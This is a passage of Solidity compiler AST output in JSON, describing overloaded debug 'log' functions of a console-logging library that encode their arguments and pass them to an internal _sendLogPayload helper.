{"hexValue":"6c6f672875696e7429","id":16248,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5600:11:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_f5b1bba92d8f98cf25e27c94d7fc7cbfbae95a49dfe5ab0cdf64ddd7181bb984","typeString":"literal_string \"log(uint)\""},"value":"log(uint)"},{"id":16249,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16242,"src":"5613:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f5b1bba92d8f98cf25e27c94d7fc7cbfbae95a49dfe5ab0cdf64ddd7181bb984","typeString":"literal_string \"log(uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":16246,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5576:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16247,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5580:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"5576:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16250,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5576:40:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16245,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"5560:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16251,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5560:57:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16252,"nodeType":"ExpressionStatement","src":"5560:57:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"5523:3:14","parameters":{"id":16243,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16242,"mutability":"mutable","name":"p0","nameLocation":"5532:2:14","nodeType":"VariableDeclaration","scope":16254,"src":"5527:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16241,"name":"uint","nodeType":"ElementaryTypeName","src":"5527:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"5526:9:14"},"returnParameters":{"id":16244,"nodeType":"ParameterList","parameters":[],"src":"5550:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16268,"nodeType":"FunctionDefinition","src":"5630:121:14","nodes":[],"body":{"id":16267,"nodeType":"Block","src":"5675:76:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e6729","id":16262,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5725:13:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_41304facd9323d75b11bcdd609cb38effffdb05710f7caf0e9b16c6d9d709f50","typeString":"literal_string \"log(string)\""},"value":"log(string)"},{"id":16263,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16256,"src":"5740:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_41304facd9323d75b11bcdd609cb38effffdb05710f7caf0e9b16c6d9d709f50","typeString":"literal_string \"log(string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":16260,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5701:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16261,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5705:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"5701:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16264,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5701:42:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16259,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"5685:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16265,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5685:59:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16266,"nodeType":"ExpressionStatement","src":"5685:59:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"5639:3:14","parameters":{"id":16257,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16256,"mutability":"mutable","name":"p0","nameLocation":"5657:2:14","nodeType":"VariableDeclaration","scope":16268,"src":"5643:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16255,"name":"string","nodeType":"ElementaryTypeName","src":"5643:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5642:18:14"},"returnParameters":{"id":16258,"nodeType":"ParameterList","parameters":[],"src":"5675:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16282,"nodeType":"FunctionDefinition","src":"5757:110:14","nodes":[],"body":{"id":16281,"nodeType":"Block","src":"5793:74:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c29","id":16276,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5843:11:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_32458eed3feca62a69292a55ca8a755ae4e6cdc57a38d15c298330064467fdd7","typeString":"literal_string \"log(bool)\""},"value":"log(bool)"},{"id":16277,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16270,"src":"5856:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_32458eed3feca62a69292a55ca8a755ae4e6cdc57a38d15c298330064467fdd7","typeString":"literal_string \"log(bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":16274,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5819:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16275,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5823:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"5819:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16278,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5819:40:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16273,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"5803:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16279,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5803:57:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16280,"nodeType":"ExpressionStatement","src":"5803:57:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"5766:3:14","parameters":{"id":16271,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16270,"mutability":"mutable","name":"p0","nameLocation":"5775:2:14","nodeType":"VariableDeclaration","scope":16282,"src":"5770:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":16269,"name":"bool","nodeType":"ElementaryTypeName","src":"5770:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"5769:9:14"},"returnParameters":{"id":16272,"nodeType":"ParameterList","parameters":[],"src":"5793:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16296,"nodeType":"FunctionDefinition","src":"5873:116:14","nodes":[],"body":{"id":16295,"nodeType":"Block","src":"5912:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286164647265737329","id":16290,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5962:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_2c2ecbc2212ac38c2f9ec89aa5fcef7f532a5db24dbf7cad1f48bc82843b7428","typeString":"literal_string \"log(address)\""},"value":"log(address)"},{"id":16291,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16284,"src":"5978:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2c2ecbc2212ac38c2f9ec89aa5fcef7f532a5db24dbf7cad1f48bc82843b7428","typeString":"literal_string \"log(address)\""},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":16288,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5938:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16289,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5942:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"5938:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16292,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5938:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16287,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"5922:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16293,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5922:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16294,"nodeType":"ExpressionStatement","src":"5922:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"5882:3:14","parameters":{"id":16285,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16284,"mutability":"mutable","name":"p0","nameLocation":"5894:2:14","nodeType":"VariableDeclaration","scope":16296,"src":"5886:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":16283,"name":"address","nodeType":"ElementaryTypeName","src":"5886:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5885:12:14"},"returnParameters":{"id":16286,"nodeType":"ParameterList","parameters":[],"src":"5912:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16313,"nodeType":"FunctionDefinition","src":"5995:128:14","nodes":[],"body":{"id":16312,"nodeType":"Block","src":"6040:83:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c75696e7429","id":16306,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6090:16:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_6c0f69806b714804c91bc48c3b408dde7373841a86e55c9ea3ee0c5945b4bc32","typeString":"literal_string \"log(uint,uint)\""},"value":"log(uint,uint)"},{"id":16307,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16298,"src":"6108:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16308,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16300,"src":"6112:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6c0f69806b714804c91bc48c3b408dde7373841a86e55c9ea3ee0c5945b4bc32","typeString":"literal_string \"log(uint,uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":16304,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6066:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16305,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6070:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"6066:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16309,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6066:49:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16303,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"6050:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16310,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6050:66:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16311,"nodeType":"ExpressionStatement","src":"6050:66:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"6004:3:14","parameters":{"id":16301,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16298,"mutability":"mutable","name":"p0","nameLocation":"6013:2:14","nodeType":"VariableDeclaration","scope":16313,"src":"6008:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16297,"name":"uint","nodeType":"ElementaryTypeName","src":"6008:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16300,"mutability":"mutable","name":"p1","nameLocation":"6022:2:14","nodeType":"VariableDeclaration","scope":16313,"src":"6017:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16299,"name":"uint","nodeType":"ElementaryTypeName","src":"6017:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6007:18:14"},"returnParameters":{"id":16302,"nodeType":"ParameterList","parameters":[],"src":"6040:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16330,"nodeType":"FunctionDefinition","src":"6129:139:14","nodes":[],"body":{"id":16329,"nodeType":"Block","src":"6183:85:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c737472696e6729","id":16323,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6233:18:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_0fa3f345ed69310615f27bede4ec80a963e2134dd287fa93c82b0c1eefe029a8","typeString":"literal_string \"log(uint,string)\""},"value":"log(uint,string)"},{"id":16324,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16315,"src":"6253:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16325,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16317,"src":"6257:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0fa3f345ed69310615f27bede4ec80a963e2134dd287fa93c82b0c1eefe029a8","typeString":"literal_string \"log(uint,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":16321,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6209:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16322,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6213:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"6209:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16326,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6209:51:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16320,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"6193:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16327,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6193:68:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16328,"nodeType":"ExpressionStatement","src":"6193:68:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"6138:3:14","parameters":{"id":16318,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16315,"mutability":"mutable","name":"p0","nameLocation":"6147:2:14","nodeType":"VariableDeclaration","scope":16330,"src":"6142:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16314,"name":"uint","nodeType":"ElementaryTypeName","src":"6142:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16317,"mutability":"mutable","name":"p1","nameLocation":"6165:2:14","nodeType":"VariableDeclaration","scope":16330,"src":"6151:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16316,"name":"string","nodeType":"ElementaryTypeName","src":"6151:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6141:27:14"},"returnParameters":{"id":16319,"nodeType":"ParameterList","parameters":[],"src":"6183:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16347,"nodeType":"FunctionDefinition","src":"6274:128:14","nodes":[],"body":{"id":16346,"nodeType":"Block","src":"6319:83:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c626f6f6c29","id":16340,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6369:16:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_1e6dd4ecaf57d2ec6eb02f2f993c53040200a16451fba718b7e8b170825fd172","typeString":"literal_string \"log(uint,bool)\""},"value":"log(uint,bool)"},{"id":16341,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16332,"src":"6387:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16342,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16334,"src":"6391:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1e6dd4ecaf57d2ec6eb02f2f993c53040200a16451fba718b7e8b170825fd172","typeString":"literal_string \"log(uint,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":16338,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6345:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16339,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6349:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"6345:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16343,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6345:49:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16337,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"6329:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16344,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6329:66:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16345,"nodeType":"ExpressionStatement","src":"6329:66:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"6283:3:14","parameters":{"id":16335,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16332,"mutability":"mutable","name":"p0","nameLocation":"6292:2:14","nodeType":"VariableDeclaration","scope":16347,"src":"6287:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16331,"name":"uint","nodeType":"ElementaryTypeName","src":"6287:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16334,"mutability":"mutable","name":"p1","nameLocation":"6301:2:14","nodeType":"VariableDeclaration","scope":16347,"src":"6296:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":16333,"name":"bool","nodeType":"ElementaryTypeName","src":"6296:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"6286:18:14"},"returnParameters":{"id":16336,"nodeType":"ParameterList","parameters":[],"src":"6319:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16364,"nodeType":"FunctionDefinition","src":"6408:134:14","nodes":[],"body":{"id":16363,"nodeType":"Block","src":"6456:86:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c6164647265737329","id":16357,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6506:19:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_58eb860cb5df2c2db83667a7ce62ef14d1323e0f3e304ea316fb64cd2c6fd3b2","typeString":"literal_string \"log(uint,address)\""},"value":"log(uint,address)"},{"id":16358,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16349,"src":"6527:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16359,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16351,"src":"6531:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_58eb860cb5df2c2db83667a7ce62ef14d1323e0f3e304ea316fb64cd2c6fd3b2","typeString":"literal_string \"log(uint,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":16355,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6482:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16356,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6486:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"6482:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16360,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6482:52:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16354,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"6466:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16361,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6466:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16362,"nodeType":"ExpressionStatement","src":"6466:69:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"6417:3:14","parameters":{"id":16352,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16349,"mutability":"mutable","name":"p0","nameLocation":"6426:2:14","nodeType":"VariableDeclaration","scope":16364,"src":"6421:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16348,"name":"uint","nodeType":"ElementaryTypeName","src":"6421:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16351,"mutability":"mutable","name":"p1","nameLocation":"6438:2:14","nodeType":"VariableDeclaration","scope":16364,"src":"6430:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":16350,"name":"address","nodeType":"ElementaryTypeName","src":"6430:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"6420:21:14"},"returnParameters":{"id":16353,"nodeType":"ParameterList","parameters":[],"src":"6456:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16381,"nodeType":"FunctionDefinition","src":"6548:139:14","nodes":[],"body":{"id":16380,"nodeType":"Block","src":"6602:85:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e7429","id":16374,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6652:18:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_9710a9d00d210736b1ce918b483e56000e2885769da8118b2fbf9fe33949d3bd","typeString":"literal_string 